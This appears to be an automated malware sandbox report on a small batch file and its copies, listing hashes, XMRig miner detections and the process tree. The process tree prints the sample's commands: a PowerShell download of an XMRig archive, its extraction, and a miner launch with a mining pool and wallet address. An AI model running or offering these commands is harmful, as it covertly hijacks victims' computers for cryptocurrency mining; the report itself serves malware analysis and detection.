Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1812s -
max time network
1824s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
25-12-2023 21:13
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231220-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231220-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy.bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral15/files/0x000600000001ac11-117.dat family_xmrig behavioral15/files/0x000600000001ac11-117.dat xmrig behavioral15/memory/4380-119-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-121-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-122-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-125-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-127-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-129-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-130-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-131-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-132-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-133-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-134-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-135-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-136-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-137-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-138-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-139-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-140-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-141-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-142-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-143-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-144-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-145-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-146-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-147-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-148-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-149-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-150-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-151-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-152-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-153-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-154-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-155-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-156-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-157-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-158-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-159-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-160-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-161-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-162-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-163-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-164-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-165-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-166-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-167-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-168-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-169-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-170-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-171-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-172-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-173-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-174-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-175-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-176-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-177-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-178-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-179-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-180-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-181-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-182-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-183-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-184-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig behavioral15/memory/4380-185-0x00007FF7EF800000-0x00007FF7F0303000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2796 powershell.exe 6 2796 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4380 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2796 powershell.exe 2796 powershell.exe 2796 powershell.exe 3628 powershell.exe 3628 powershell.exe 3628 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 636 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 3628 powershell.exe Token: SeLockMemoryPrivilege 4380 xmrig.exe Token: SeLockMemoryPrivilege 4380 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4380 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3172 wrote to memory of 2796 3172 cmd.exe 72 PID 3172 wrote to memory of 2796 3172 cmd.exe 72 PID 3172 wrote to memory of 3628 3172 cmd.exe 73 PID 3172 wrote to memory of 3628 3172 cmd.exe 73 PID 3172 wrote to memory of 4380 3172 cmd.exe 74 PID 3172 wrote to memory of 4380 3172 cmd.exe 74
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3628
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4380
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3KB
MD542d4b1d78e6e092af15c7aef34e5cf45
SHA16cf9d0e674430680f67260194d3185667a2bb77b
SHA256c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
SHA512d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
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Filesize
1KB
MD5f844bccc562c540544226f6e69e7ad60
SHA11b7b9e1930bff43b329db1b317fa8473e9810fc2
SHA2569d6d96b71db5065782ddd0bc0dfeed4ae0ddf626bad2a106dcc5ce08ef951c89
SHA512dca5069bebf9ef10692e73cafda6756e0e43e7da82a325192b7480357cbce21afc32d2cbc6a0e0edbef9831cd41263eab63cb175bbb0a47e67963107093aa009
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
325KB
MD5cf418eecc205f0949d989f22b270b386
SHA15360622d6c6f6de22955469f47208888fd30f7b7
SHA2563689e41bf90692f1f269089ee752ac6f3e7505c663699dc87d169ca1b836f4c2
SHA512702fd155fced16ea5cfca04fd038fd7089203c330eeb21a4bd64dbc7431adf9019bc09c34f7b70e11979e379d0f6f9e78fe0a63504fc6a5af34533c3ddf1aff9
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Filesize
765KB
MD5afaf98fc511dff004496f736abc9ccab
SHA1db3942f1062805ac19b74c82de96edbd50556c9c
SHA256ce44bbf257b35dba118319689a7bc140944236d25100315294d27ee2e4f0ff3b
SHA5123133e01940db2846b20f0094537be4eec7474b6ce0830fd1b32ef86dedf1db17456ba0cb0dc720738c999044e104ac36499ca895e839017e2690ec406bb6cbb9